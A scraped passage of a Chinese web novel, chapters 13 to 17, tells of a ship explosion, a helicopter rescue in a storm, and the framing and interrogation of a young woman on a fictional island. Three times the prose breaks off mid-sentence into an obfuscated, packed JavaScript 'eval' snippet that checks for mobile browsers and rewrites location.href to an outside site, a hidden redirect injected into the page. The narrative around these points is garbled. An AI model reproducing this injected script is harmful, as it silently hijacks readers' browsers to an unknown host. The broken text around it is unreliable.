姚望宇:“报告,各层甲板出口已控制,船员没有异动。” “好。让驾驶舱接收北美主舰的命令,必须连夜开回去。海军那边会派人盯着他们,告诉他们别想耍花招。雨越来越大了,联系我方直升机立刻收队。”钱章快速说道。 船舱外,雨下得像是老天爷在天上拧毛巾。此时安塔岛的海岸边,豆大的雨点砸出一个模糊的人影。 亚伦看着黑暗空旷的岸边并没有来接他返程的军舰,甚至连艘小渔船的影子都没有,止不住地连声咒骂。 他愤怒地攥紧了通讯设备,双眼泛红地将设备的底座拆开,里面竟是一个微型引爆器。 “不许动!举起手来!”三辆车的车灯同时打在亚伦的背上,十几个士兵跳下车围住了他。 亚伦转身看见德里克在敞篷的后备厢里,被捆住双手狼狈不堪的样子,自嘲又愤恨地笑了笑。他抬起持枪的右手,对着众人扣紧了扳机,左手大拇指则贴在引爆器的按钮上。 德里克透过雨水,艰难地辨认出亚伦左手上拿着的是什么,便明白了再无逃离的可能,整个人怔怔地靠在铁护栏上,任凭雨水将他浇了个透。 士兵步步逼近亚伦,见了那引爆器也不敢继续靠近,他们不停地对着亚伦吼道:“把手里的东西都扔下!” “快点放下!听到没有!” 雨滴砸得越来越急,亚伦的神情却十分坦然。既然没人救他于水火,那就都陪他下地狱吧! 说时迟那时快,亚伦手腕一转对着自己的太阳穴扣动了扳机,同时也按下引爆器的按钮。 高大的身影缓缓向后倒去,砸得沙土地泥水四溅。士兵们慌乱地回头朝岛上看去,却并没有传来预想中的爆炸声响和火光。 就当他们渐渐松懈下来时,最靠近海岸边的一个士兵惊得声音都抖了,他指着海岸线上的一个光点说:“你们快看!那不是舰队的方向吗?” 14. 第14章 嘭——嘭—— 剧烈的爆炸响彻整艘船体,正往甲板赶的钱章直接被震得摔倒在地。他呲牙咧嘴地爬起身摸向右肩,被钢刺划开的口子渗血越来越严重了,此时隔着西装都能摸到一手的血。 多吉堪堪稳住身形,扶起了身边腿部负伤的队员。 “幺组,俩组!立刻汇报各自所在位置是什么情况!”钱章朝着对讲机大声喊道。 仅几秒之后,白玛的声音就从对讲机里传了出来:“驾驶舱猛烈摇晃,船员也不知道原因!” 然而对讲机里许久没都有传来姚望宇的声音。 “姚望宇!姚望宇!你那什么情况!听到请回答!”钱章喊道。 对讲机的另一侧依旧寂静无声,钱章当机立断向总舰呼叫了救援。 爆炸传来的震感还在继续,只是没有最初那么强烈了。钱章有些犹豫是否要带人去下层甲板救援,一切情况未知,爆炸很可能在船舱内引起系列反应,真去救很可能会把所有人的命都搭进去。 楼梯口噼里啪啦的脚步声越来越近,底层的船员挤过他们一窝蜂地往主甲板跑。 多吉一把抓住了一个船员:“下面发生什么了?” “船要沉了!快放开我!”那船员大声叫嚷着推开了多吉。 此时,钱章手里的对讲机突然传来“呲呲”的信号接收声。 姚望宇的声音带着急促的喘息,身边还不断传来重物砸落和水流的声音,“司令……压载舱和甲板下五六层中部全部被炸毁,渗水严重……咳,咳,水已经漫到第四层了,用不了多久船就会断裂下沉,你们尽快撤退吧。” 钱章不死心地问:“你现在在什么位置?还能走吗?身边有其他的队员吗?” “还能动的都已经在往上走了,你们也快走吧。”姚望宇没等钱章回话就关闭了对讲机,连自己的位置都没有报。 钱章看着身旁两个伤了腿还要人搀扶的队员,刚想狠狠心下命令继续往主甲板走,杰佛森便撂下一句:“我去救人,你们继续往上走。” 多吉见杰佛森扭头就走,连忙把受伤的队员移去了别人肩上,追上前去:“我跟你一起去。” 钱章闭上眼,深吸一口气冲着两人的背影嚷道:“你们两个当我是死的吗?” 杰佛森脚步顿住,刚想回头解释,却听到钱章一字一句地说:“清醒点儿,别把自己搭里。” 钱章又带着托付地看了多吉一眼,扭头用的左肩和别人一起架着伤了腿的队员一起往外走。 “走吧。”多吉一拍杰佛森的肩膀,两人快速向下层甲板跑去。 一路逆着人流,两人艰难从船艏方向闯到了受损较为严重的船体中层。地上的积水已经齐膝深,船体不断传来钢板断裂的声音,海水一刻不停地从板层正中的大洞和墙体缝隙涌进通道。 这里是船员的生活区,地板上有被踩踏昏迷的、因炸伤失血过多的,横七竖八躺了好些人,两旁的舱室连四面墙能凑齐的都少。 两人一刻不敢耽误,立刻一左一右搜寻起眼前的区域。 一连搜了好几间舱室,多吉终于见墙边似乎有机动队队服的迷彩颜色。他连忙迈开大步上前,走近一看那人大半个身子都被盖在断裂的门板下,只有一条胳膊露在外面。 多吉用力掀起门板,才认出是二队的里昂。他蹲下去探里昂的颈动脉,竟然并不是太虚弱,身上也没什么出血点,应该是被爆炸的冲击波和门板拍晕了。 “杰佛森!你先扶里昂上去!”多吉扶着里昂靠坐在墙边,继续往爆炸中心走。 杰佛森蹚水跑到多吉身旁,拉住他说:“你带他走,我继续往前找。” 多吉皱着眉头,反手推开杰佛森:“要走你走,反正我要留下。” “多吉!我以队长的身份命令你,立刻带里昂离开!” “我走了,你好和这些人同归于尽是吗?”多吉指着杰佛森吼道,“从你下来的时候我就看你不对劲。你看看你身上被刮得还有一处好地方吗?” 杰佛森身上的军装明明比多吉的西装结实的多,却被一路上分崩离析的船体和掉落的铁片划出好几个口子。这具被残存意志控制的躯体,已经失去了对自身生命下意识的保护。 杰佛森自知理亏,但还是没有往回走的意思。 “乌日娜的死不是你的错。”多吉冷静下来,平视着杰佛森的眼睛,“但如果里昂没救回来,或者是我因为被你耽搁时间出了事,就真是你的责任了。” 杰佛森瞬间被多吉激醒,无奈只好扛了里昂走。看着杰佛森离开的背影,多吉才终于放下心来。 船体倾斜的角度越来越大,头顶一排灯“滋啦”一声响后便失去了光亮。多吉打亮微型手电,小心翼翼地继续向前探寻。 手电的光柱不停地左右游移,越往爆炸中心走,倒地的船员伤势就越重,基本都没有救治的必要了。 多吉本没有抱多大希望,却突然听见右边的舱室中有微弱的铁板敲击声。 他蓄力一脚踹开变形的舱门,发现这是一间洗衣房。一个赤着上身、皮肤浅棕的小男孩不断地用手敲击压在他身上的钢制洗衣机,若不是身后有堆成小山一样的床单和置物架垫着,他早就被不断上涨的海水淹死了。 多吉片刻没有犹豫,用尽全力搬起沉重的洗衣机,把小男孩拉起来拍了拍他的脸。那孩子看起来只有十四五岁的样子,十分瘦弱,身上有不少被打出来的伤痕。他的后脑肿起一个大包,人也晕乎乎的。 小男孩缓缓睁开眼睛,在看见多吉的亚洲面容时有些呆住。 “还能走吗?”多吉架起小男孩问道。 也许是被压时间过久,腿部血液缺少循环,小男孩刚站起来就吃痛地叫唤。 多吉的体力已经因为长时间蹚水走路消耗了不少,好在这孩子瘦得跟小猴子似的,背着也不算费力。他决定先把小男孩安置在上行的舷梯处,那里一时半会儿还淹不到,再返回来继续找队友。 “黑头发。”小男孩在多吉背上冷不丁说了一句。 多吉喘着气笑了一声:“你不也是黑头发?” “黑头发,女的,我听到,三区左舷。” 虽然小男孩的中文并不熟练,但多吉立刻反应过来他说的应该就是自己的队友姚望宇。 “黄皮肤,和你差不多高?”多吉也用简单的中文问道。 小男孩轻轻“嗯”了一声。多吉紧走了几步路,将他放在甲板下三层的舷梯口。 “杰佛森!”多吉掏出对讲机呼叫,“甲板下三层,我们经过的那个舷梯口有个南美洲的小男孩,应该是掳来当劳动力的,你能来把他带走吗?我已经知道姚望宇的位置了,现在就去救她。” “收到。”杰佛森的声音从对讲机里传来,其中还夹杂着暴雨冲击甲板的声音。 多吉撕了一条西服的袖子,给小男孩腿上的伤口做了简单的包扎,边绑边对他说:“马上就会有人带你上去,你在这等着不要乱跑。” 小男孩睁着黑葡萄似的眼睛看着多吉,小声说:“谢谢。” 多吉笑着摸了一把小男孩的头,起身直奔三区。而三区离他所在的舷梯口并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小心!”姚望宇拉着多吉往墙边一闪,管道这才没有正中多吉的后脑,可几十公斤的合金管道就这么拍在了多吉的背上。 姚望宇顾不上自身的疼痛,从水中起身拼命想要推开多吉身上的管子,然而失血让姚望宇的身体极度虚弱,她再怎么努力也进展全无。 更雪上加霜的是,另一根管道也随着束缚条的断裂朝他们砸了过来。 两人顿时都被压在水中喘不过气,多吉奋力挣扎,可在水中却根本使不上力。 正当他觉得满嘴都是海水的咸味,连肺都要憋炸的时候,身上的重量骤然减轻,一只手猛地把他拽出水面。 多吉抬手揩去眼前的海水,看见竟是折返回来的杰佛森正把姚望宇扶在肩上,继续向舷梯口走。 “这么久没回音,还以为你回不来了呢。”杰佛森边走边说。 “那不会,还有人等着我回去呢。”多吉庆幸地笑着说,可话音刚落,他就意识到自己说错了话。连他都没接受乌日娜已经不在了的现实,更何况是刚刚获得未婚夫身份的杰佛森。 多吉重新没入从水中捞起手电筒,赶到杰佛森前面探路,“那个小男孩呢?” 杰佛森过了一会儿才答道:“已经送上去了。” “大部队应该已经撤退了吧。”多吉继续没话找话,想要岔开杰佛森的思绪。 杰佛森却道:“北美舰队没有回应他们自己船员的呼救,已经开始返航了。以我们现有的救援力量,救不走这一船人,而且甲板上的情况也不太妙。” 15. 第15章 暴雨不停地冲刷着光滑的甲板,迎着狂风连站立都成了难事。海水不断从船底的大洞涌入,船体倾斜着加速下沉,随时有断裂的可能。 船员们为了争抢救生艇大打出手,掉下船的人来不及呼喊,就被巨浪卷入了海底。 为避免冲突,钱章只好先带人先躲在了甲板下一层靠近舱艏的舱室里,让伤员先原地休整。 白玛按照被救的小男孩卡卡提供的位置找到了急救室,带回了些药品纱布,几个人正跪在地上在给伤员包扎。 “快来人!”多吉冲在前头猛地推开门,杰佛森抱着姚望宇紧跟着冲了进来,将她小心地平放在提前在地上铺好的垫子上。 白玛看见浑身滴着染血海水的姚望宇倒吸了一口凉气,马上拿起消毒喷雾和纱布小跑过来为她处理伤口。 见姚望宇得到了照料,多吉和杰佛森同时松了口气,尽管他们自己身上的伤也急需处理。 “干得不错。”钱章从身后重重地拍了一下两人的肩膀,“现在风浪太大了,巡洋舰上的救生艇靠不过来。岛上安排的救援直升机马上就到,你们在这里休整一会儿,五分钟之后开始撤离。” 甲板上依旧乱作一团,年轻力壮的船员为了抢上救生艇打了个鼻青脸肿,体弱些的则去抢些救生圈救生衣应个急,而因爆炸伤重无力争夺的人就只能扒着栏杆,等着和船一起沉没。 海浪声雨声混杂在一起,湮没了人类渺小的声音,巨大的军舰如蝼蚁般在海面浮沉。 轰隆隆的直升机螺旋桨声由远及近,船员们以为终于等来了救援,纷纷围上前去。 救援绳梯从半空中飞速垂下,随之而来的是两名全副武装的持枪士兵。 “退后!都退后!”士兵驱散了想要登梯逃生的人群,向甲板上的舷梯口给了个手势。 钱章指挥着队员们架着几个伤员快步向绳梯,朝士兵喊道:“先送伤员!” 士兵手脚麻利地将伤员们固定在自动绳梯上,呼叫直升机操纵绳梯升上去。 绳梯一次又一次上升又下降,终于最后一个轻伤的队员被传送上了直升机,多吉向队尾手足无措的男孩招手喊道:“卡卡!过来!你跟着这架一起走。” 卡卡缩着身子,眼神中充满不可置信,他并没有想过能被一起救走。 白玛出声阻止:“难道把他救出来还不够吗?别忘了,我们是没有权利给任何人上岛资格的。” “不管有没有资格,我只知道直升机上还有位置。”多吉拉过卡卡,把他扣在绳梯的简易座位上,抬手向直升机示意把人带上去。 看着明显不属于亚欧大陆的人被接走,围拢着的船员免不了生出几分贪念。 白玛本想再争辩两句,钱章却走上前按住了他的肩膀,并掏出对讲机命令急救直升机立刻返航。 “司令,你也是伤员,应该跟着一起回的!”白玛明显见着钱章被雨水冲刷的脸色更白了。 “我断后。”钱章随即向第二架直升机发出悬停甲板的命令。 周围的船员看着天上仅剩的一架直升机顿时骚乱了起来,队员们立刻围成一个圈,举枪对着船员防止被袭击。 有些识趣的,咬牙咒骂着跑去继续抢夺船上剩余的救援物资,可还有些不甘心的依旧站在原地叫嚣。 第二架直升机很快调整好了位置,悬停在了甲板上空,队员们训练有素地攀上自动上升的绳梯,顶风冒雨地跳进了座舱。 不少船员仍如救命稻草般死死盯着那绳梯,妄图趁机夺梯逃亡。一个船员趁白玛转身猛地朝他扑去,却被白玛一个回身拔枪击退,打得那人小腿血肉横飞,登时摔躺在地,抱着残肢连连哀嚎。 “谁再靠近,他就是下场!”白玛举枪扫过周围船员的脸怒斥着,随后也攀上绳梯离开了甲板。 这样的暴雨之中,健全的人都不一定能坚持游到附近的小岛,身上若再有伤残,就等于被判了死刑。 船员们纷纷连滚带爬地远离了绳梯,多吉也趁机攀了上去。 自动绳梯带着多吉毫不费力地升到高空,机舱内的队友伸手接了他一把,绳梯随即再次下落。一踏入机舱,多吉悬了许久的心终于放松了些。 突然,一块、两块、无数块铁板和钢筋断裂的声音从多吉身后传来,仅剩的几层甲板终于无法支撑倾角过大的半艘船体,从首层甲板的中部逐层崩裂。 直升机上的人闻声纷纷来到舱口探出头查看海面的情况。 原本高高支出海面的船体猛地向下拍去,折断的桅杆结结实实地砸在了杰佛森的后腰上。钱章想抓住点什么,但右臂已经完全使不上力,他在甲板上滚了好几圈,直到撞到船边的栏杆才停止了滑行。 更多毫无防备的船员被直接甩出了甲板,他们掉进海里不停地大声呼救,可很快被另半截船体产生的漩涡吸入了深海。 “先救司令!”白玛指挥着直升机驾驶员,将绳梯停放在钱章身边。 钱章许是被撞得有些狠了,趴在地上半天没有动弹。 眼见船马上要沉了,刚刚还被震慑住的船员也顾不了那么多了,哪怕是在滑如冰面的甲板上跌得鼻青脸肿,也要冲向那救命的绳梯。 杰佛森艰难支起身,瞄准钱章周身,远远地连续放了几枪。子弹擦过甲板,火星四溅,但还是没有熄灭那些人对生的渴望。 被枪声惊醒的钱章连忙将自己的左手紧绑在绳梯的锁扣上,可刚升离甲板就被人抱住了小腿。 锁扣本是应该穿过大腿固定住上半身,手腕根本拉不住两个人的重量。他不得不用伤重的右肩夹住一节绳梯,免得被那船员拽下去。 那人随着钱章升到半空,惊慌失措地低头看向越来越远的甲板,忍不住扒紧了钱章的裤腿。然而布料湿滑,越紧张越抓不住。船员一不小心失了手,直直地向甲板坠去。 多吉连忙上前解开钱章手上的锁扣,驾驶员同时操纵直升机向杰佛森靠去。 船员们见抓人这方法行不通,便都红着眼睛盯上了再次垂下的绳梯,绳梯还没有完全垂到甲板上,就已经抓住了末端开始往上爬。 绳梯上的人越来越多,他们疯狂如渴血的僵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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钱章立刻给驾驶员返航指令,救援绳瞬间绷直将两人拉起,队员们又合力把绳子上的两人拉上了直升机。 再次踏入座舱,多吉直接累倒在地,肾上腺素带来的紧张感还未完全平息,他躺下大口喘着气。而杰佛森并没有生还的喜悦,只是疲惫甚至略带失望地闭上了双眼。 直升机向着安塔岛,飞离了暴风雨的中心,此时的天已经微微发亮,呈现出透亮的渐变蓝。 停机坪久候的救护车等直升机一停稳就拉走了杰佛森和钱章,多吉则找护士要了些消毒水,马马虎虎地处理了伤口。趁着停机坪一片忙乱,多吉悄悄地走向出口。 现在这个时间,她应该还没有睡醒吧。多吉这样想着,但还是拖着疲惫的身躯,往齐观住的员工宿舍去了。 剑拔弩张的谈判桌,炸毁的船体,飞速下滑的绳索……多吉无数次害怕自己不能平安地回到这里,可他终究还是做到了。 多吉也顾不上先换一身干爽的衣服,他只想在极度紧张过后,抱着心爱的女孩沉沉地睡上一觉。 踏上楼梯的脚步有些虚浮,多吉意识到自己可能发烧了,他抓住扶手,一下一下地往上摸着走。脚步声在清晨寂静的宿舍楼里显得格外明显。 终于,他挨到了齐观所在的楼层,却意外地看到齐观宿舍门站了一个军官,身后还跟了两个办案员。 多吉紧走了两步,只听到那军官举着证件对着站在门口的齐观说:“我们是侦查队的。你已涉嫌泄露岛上重要情报,请接受我们的调查。” 16. 第16章 齐观看着军官证上“王漫平,纠察队队长”的字样,心底已经有了盘算,刚要回应,余光却看到了朝她踉跄走来的多吉。 一夜不见,多吉狼狈了不少,被风吹得半干的衬衣和西裤布满了褶皱和破洞,破洞内的伤口看上去也只经过了简单的消毒处理。 “回来了。”齐观的笑容浅浅的,尽力掩藏自己眼中的担忧,好像多吉只是像平常一样,结束了日常的巡防工作来找她。 多吉的呼吸都有些乱了,走上前将齐观拉到了身后,直面那个大腹便便的军官说:“是不是有什么误会?没有证据你们不能把人带走。” 齐观只穿了件吊带睡裙,手臂贴近多吉的身体才发现他浑身发烫,她急忙把手贴在他的额头,发现竟也烫的吓人。 “我没事。”多吉抬手抓住齐观的手腕,攥在手里。 王漫平不屑地看向衣衫不整的多吉,还以为他是不知从哪冒出来的喝多了的醉汉,“我们当然有足够的证据。如果你阻拦我们的行动,我有理由怀疑你是她的同伙,把你一起带走。” 那人的语气不像是开玩笑的,齐观怕耽误了多吉的病情,连忙拽了拽多吉的衣角。 可多吉犟起来就像一头牛,死拉不走,他熬了一整夜的眼睛布满了血丝,齐观心疼得不行也只能先装出没事的样子让他放心。 “你先去医院,乖,听话。”齐观拍了拍多吉紧握的手,“我很快就会回来的。” 多吉一改作战时的雷厉风行,长长的睫毛轻轻颤着,两颊的红晕和眼神里的不舍倒显得他可怜巴巴的。 王漫平不耐烦地指挥随身的女办案员:“搜身,带走。” 那办案员象征性地摸了摸齐观的睡裙,任谁都看得出来,这薄薄的裙子里若是藏了什么,一定会显出形状。 “能不能让我收拾一下,换一身衣服。”齐观并不想穿着这身睡裙去审讯室,一路上不知道要遇上多少人,就算是已经定罪的犯人也不该是这种待遇。 “屋里的东西你都不能再碰了,现在立刻跟我们走。”王漫平的语气十分严厉。 齐观对他的态度十分不爽,但并没有发作,她实在是不想让多吉更担心了。 “我先走了,你赶紧去医院。”齐观不放心地对多吉叮嘱道。 多吉气得胸膛剧烈起伏,当着那三人的面大步迈进了房间。 “你干什么!我现在就以妨碍公务的罪责逮捕你!”王漫平指着多吉大声叫嚷起来,隆起的啤酒肚也随着上下摇晃。 多吉从屋里拿出一条薄毯,赌气般地向王漫平展示了毯子的正反面,随后披到了齐观的肩上。 “要逮捕机动队的人,你怕是没有这个资格。”多吉居高临下地看着王漫平,他摊开长臂,略带挑衅地说:“我刚进去过,需要搜身吗?” 王漫平没想到眼前这个楞头小子竟然是机动队的人,机动队可是全岛背景审查最严的队伍,想动他们的人需要直接向钱总司令打报告。 王漫平只好憋着怒意道:“出了问题,你也别想跑!”他一挥手,示意办案员带走齐观。 齐观安抚地捏了捏多吉的手掌,转身和那三人离开了宿舍门口。 多吉只感觉自己身体里好像有一根绷了许久的弦突然断掉了。他眼前一黑,直直栽倒在了原地。 齐观震惊地回头,她万万没想到多吉的身体状况已经差到这个地步,只好忍下反感向王漫平求助:“能不能先帮他呼叫一下急救?” 王漫平讥讽道:“机动队的人不是全岛最善战,身体素质最好的吗?说不定过一会儿自己就醒过来了。继续走!” 齐观冷眼看向王漫平,双手紧紧攥拳,指甲都嵌到了肉里。 王漫平白了一眼齐观,谅她也不能怎么样,便继续迈着四方步向前走去。 齐观眼含怒意地跟着走了两步,趁他不注意,突然全力挥拳向走廊里的消防铃砸去。一瞬间,尖锐的警铃声响彻整栋宿舍楼。 走廊里好几道房门同时打开,惊慌失措的住户站在走廊里大眼瞪小眼,很快就发现了倒在地上的多吉。 “你!”王漫平没想到眼前这个看似平和的年轻女孩,竟比刚才那混小子脾气更硬,他指着齐观的鼻子,食指气得发颤,“死到临头了还这么嚣张,待会儿有你受的!” 王漫平掏出手铐,将齐观铐了起来。 没有手拢着的薄毯直接落在了地上,齐观也并不在意,她回头看了一眼被邻居扶起的多吉,安心地上了押运车。 上一次来审讯室还是一个多月前的袭击事件,这次再来自己却成了被审讯的人。齐观不由得感叹最近这段时间真是发生了太多事。 好在这次是个有座位的房间,齐观被铐在桌子上,平静地看王漫平。 王漫平把三个证据袋重重拍在了齐观面前:“这是我们在亚伦办公桌里发现的字条和背面写有布防信息的邀请名单,还有一张最新版全岛地图的照片。据德里克的交代,这几样东西都是你利用职权之便,暗中递送给他们的。是谁指使你这么做的?” “我不知道你在说什么。”齐观的眼神平静如湖水,面对质问也没有一丝波动,“我只是按要求送些东西,能做手脚的人很多,这并不是什么铁证。” “那人证呢,投放炸弹的人指认你对他们威逼利诱,如果不协助你,就不给他们分房的名额。” 齐观笑了笑:“我哪有那么大的权力啊,我只是个打零工的。而且你可以去人口管理局查我所有的调查表,每一项调查都是符合规定的。” “他们又不知道你只是个打零工的。”王漫平冷笑一声,“据供述,你告知了他们所有新增的监控点位,要求他们把炸弹藏在平民区,这样大量平民就会被炸死,岛上的资源也会变得充足。你向他们保证,事成之后会给他们换更好的住所。” 见齐观没有反驳他的话,王漫平更加趾高气昂了。 “更有人证表示,是你的上级周文涛让你去人口管理局帮忙,也是他把你介绍到秘书处。”王漫平一拍桌子,“是不是你和他一起密谋的整场事件?” 齐观看着眼前这人激愤的样子,一时不确定他是真的什么都没参与,还是演技太过高超。 “对了,还有那个护着你的男人,他不是机动队的吗?没有他你也搞不来布防信息吧。”王漫平越说越起劲,他觉得自己的推理简直天衣无缝,“现在人证、物证俱在,如果你供出你的同伙,你还能在暴露区了此残生,如果不说,你也应该很清楚你的下场。” 齐观想起多吉说过,如果她有一天变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064775|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成肥料撒进农场,他一定会吃不下饭的,她后知后觉地发觉这句话有些好笑。 王漫平看着齐观本就淡然的神情中居然还添了一丝嘲笑,立马瞪起他那又细又小的眼睛:“死到临头你还笑得出来?来人!把她关进最顶层的暗室!不签认罪书不许放出来!” 盯着齐观被押走,王漫平转身就进了隔壁的观察室,得意洋洋地对端坐着的王淑红说:“怎么样啊,姐?就凭着你给我的那点线索,我就能把她逼问的哑口无言。只要她认了罪,这案子就算了了。” 王淑红听见自己这个蠢得冒油的表弟,居然管自己精心留下的伪证叫“那点线索”,简直气不打一处来。她白了一眼王漫平说:“口供里不该出现的人都删掉了吗?” “当然,赵叔当年那么提携我,他的儿子我怎么可能不保呢?反正这个齐观横竖是要判个死罪,直接都推到她身上就好了。” 王淑红没好气地“嗯”了一声,这傻弟弟也算有点用处了,她提醒道:“现在什么证据都有了,她认不认罪还重要吗?” “你的意思是?”王漫平的语调中带着跃跃欲试。 “你现在有多需要立功自己心里没数吗?如果不是北美这些人刚好来捣乱,上面没来得及确定裁撤名单,你以为你还能保住这个侦查队队长的位子吗?”王淑红言语间带了些怒意。 王漫平忿忿道:“还不都是那个钱章搞得鬼!自从他上任组建了什么机动队,大事小情都要插一脚,手里有什么证据也得给他们送一份,功劳全被他们抢了。本来岛上的人就越来越少了,大家可不是都没活儿干了。” “行了,我没空听你抱怨。”王淑红抬手制止了王漫平,被抢功劳还不是因为他自己太蠢,她现在更关心别的事。 “她的住处搜过了吗?会不会还有什么新证据?”王淑红问。 “还没呢,这不刚审完人吗?”王漫平觉得自己这位表姐怕不是糊涂了,怎么比自己还着急呢。 “我帮你去搜吧。你那几个手下也没什么灵光的。”王淑红说着便起了身。 “好好好,还是姐你细心。”王漫平顿时喜笑颜开,“那我派人带你去。” “不用了,你给我拿一身你们侦查队的衣服吧,免得有人挑你的错处。” 王漫平赶忙去办公室给王淑红拿了一身制服,王淑红换好了衣服便直接从侦查队办公室出发去了齐观的宿舍。 一进屋,王淑红直奔衣橱,摘下了夹在衣架上的白手套。 没有。 她又仔仔细细摸了一遍齐观那套裙子,连内衬也都剪开来。 也没有。 王淑红继续翻找着这间小屋里本就不多的物件,心里的不安越来越重。 爆炸没有按时响起,而齐观又是舞会上唯一近身接近过亚伦的人,王淑红很难猜不到是齐观动的手脚。 昨夜,她从王漫平那拿到了齐观离开礼堂后的所有监控,一遍遍放慢详看就是为了确定齐观没有在外面丢掉引爆器。 可她翻遍了整间屋子,还是一无所获,难道是她猜错了吗? 王淑红反复地盘算,以现有的证据链怎么也查不到她的头上,心里总算安定了几分。只是这丢失的引爆器就像一颗幽灵般的定时炸弹,不知会在何时引爆。 17. 第17章 将近中午,岛上正是热的时候,街道上几乎空无一人。 王漫平急匆匆地带上了所有的证据和证词,把他梳理的案件经过原原本本地给首长讲了一遍,并提出要拘捕周文涛审问。 首长听到这个要求后并没有立刻给答复,只是沉默地翻看着证据。 陪在一旁的肖蔷打破了沉默:“这些证据获得的是不是太容易了,时间过去这么久了为什么还没有被销毁呢?有没有可能是德里克在误导我们,给真正的策划者拖时间,以求自救。” 王漫平在来之前特意熨了制服,头发用发油梳得锃亮,他打起十二分精神向两位领导担保道:“以我对亚伦性格的了解,无非是两种可能。如若事成,便自信没有掩藏的必要。如若不成,此人报复心极强,连自己的部下都能下死手更何况是我们岛上的人。他留下这些证据,无非是想把所有相关的人都拖下水。” “这个分析倒是没什么问题。”肖蔷接过了王漫平的话,“德里克受亚伦的秘密指令,亲自修改了舰载武器的程序,如果将领没有按着亚伦的要求开战,那些导弹就会变成葬送自己的武器。” 首长似乎全盘接受了王漫平的推断,她深深地叹了口气,抬头看向肖蔷:“可惜了,我很看好那个孩子的,就像当初看好你一样。” 肖蔷也惋惜地说:“听我女儿说,齐观是怪物袭击事件的幸存者。也许是一直过很节俭,死里逃生之后又获得了更好的生活,生出了些不该有的贪念吧。” “也许吧,重大打击给人带来的影响往往比想象之中来得更长远。”首长话锋一转,“你上个月的体检报告怎么样啊?” 肖蔷被这突然的关心问得一愣,很快反应过来便答道:“没什么问题了。” 首长点点头:“我现在的身体一天不如一天了。这份重担随时都有可能传下去,你也要多保重啊。” “是。”肖蔷偏过头,眼底微微有些波动。 王漫平听了这话更是来了精神,他今天一定要给肖蔷留下最好的印象,提前巴结这位未来的首长。 “好了,我也累了。”首长抬手叫来了护士,并对王漫平说:“这事办的不错。机动队那边暂时还调不出人来,后续的侦办就交给你了,有进展再来向我汇报。” 得了首长认可的王漫平喜出望外,点头哈腰似哈巴狗般地出了门,一扭脸又换了副趾高气昂的斗鸡相,朝侦查队的方向去了。 日头高高地挂在正当空,医院的白纱帘并不很遮光,多吉被照得从睡梦中惊醒。他猛地坐起身来,用手搓了搓迷朦的眼睛,晕倒前的记忆瞬间如潮水般涌来。 他想都没想就拔了手上的输液针,摇摇晃晃地站了起来。 “哎呀!”听见动静的护士惊呼了一声,小跑着上前把他按回床上,“你还发着烧呢!这是要去哪儿啊!” “我……我得去找人……”多吉用力晃了晃头,思路逐渐清晰,这个时候怕是只有求到钱章头上才能替齐观说得动情,他抓住护士的胳膊,“钱司令呢?他在哪个病房?” “钱司令?”护士被问得一愣,朝多吉身后一指,“他不就在那儿吗?” 多吉回头看向隔壁的病床,发现钱章正一脸生无可恋地看着自己。 多吉焦急地走向钱章:“钱司令,齐观她……” “这里不需要人了,请先出去吧。”钱章打断了多吉的话,对护士说道。 见护士离开了房间,钱章才开口说:“她没事。” 钱章的语气是如此的笃定,多吉一时也不知道能问些什么,他呆坐在床上,不一会儿又站起来说:“她被关在哪儿,我想去看看她。就看一眼就行,我不放心……” 钱章无力地看向天花板,也不知道自己造了什么孽,招来的部下一个个都是大情种,脾气还都死犟。 “她真没事,你要是从一开始就老实在医院养病,等你出院的时候她都该放出来了。”钱章苦口婆心地劝道,“你就安心地躺着,等一切结束了她会向你解释的。” 多吉见从钱章这问不出来什么,急得在病房里来回转圈。 钱章越看越烦,气呼呼地从桌上的果盘里拿了个芒果,朝多吉砸去。 “别转了!看得我头疼。” “我……”多吉欲言又止,憋屈地坐回了病床上,时不时还幽怨地朝钱章瞟几眼。 一大早同时听到多吉昏倒入院和齐观被捕的消息,钱章就猜到多吉是从哪儿被抬过来的了。他立刻和医院打招呼让人把多吉转到了自己的病房,生怕他乱跑。 本以为齐观特意瞒着多吉是多此一举,看来还是他不够了解这小子。 钱章的肩膀虽然止了血,后背被撞的那几道淤青稍微动一动还是很痛。他骂骂咧咧地下了床:“我去!我去替你看她还不行吗?” 多吉一秒变得乖巧懂事,掀开被子躺了回去:“多谢司令,我躺好了。” 钱章恨得牙痒痒,居然中了这小子的计,要不是看在这小子救了杰佛森的份上,他真想现在就给他来一拳。 顶着大太阳,穿着病号服,钱章一瘸一拐地来到了侦查队办公楼。 他一进门就问:“今天早上是不是押来了个嫌疑人呀,挺年轻的一个女孩,关哪儿了?” 还没等值班员回话,不知从哪里冒出来的王漫平阴阳怪气地问候了一句:“哟!这不是钱司令吗?怎么伤这么重啊?” 钱章舔了舔后槽牙,一点都不想搭理这声狗叫,继续看着值班员问:“哪间房,我过来问问情况。” “钱司令,您还不知道呢吧。”王漫平的胖脸一个劲地往钱章眼前拱,“这个案子首长已经全权委托给我办理了,您要是看笔录我这儿有啊。” 不能打人,不能打人,钱章在心里默念着。 “这个岛上的任何案子、任何犯人,我都有权过问,你只要回答我的问题就可以了。”钱章冷脸问道。 官大一级压死人,王漫平到底不敢和钱章太对着干,但还是欠欠地说:“在顶楼的暗室呢,您这腿脚走上去,怕是费点劲吧。” 钱章一把薅过王漫平的衣领:“这才刚开始审问,你凭什么把人关在暗室!你这是滥用私刑!” 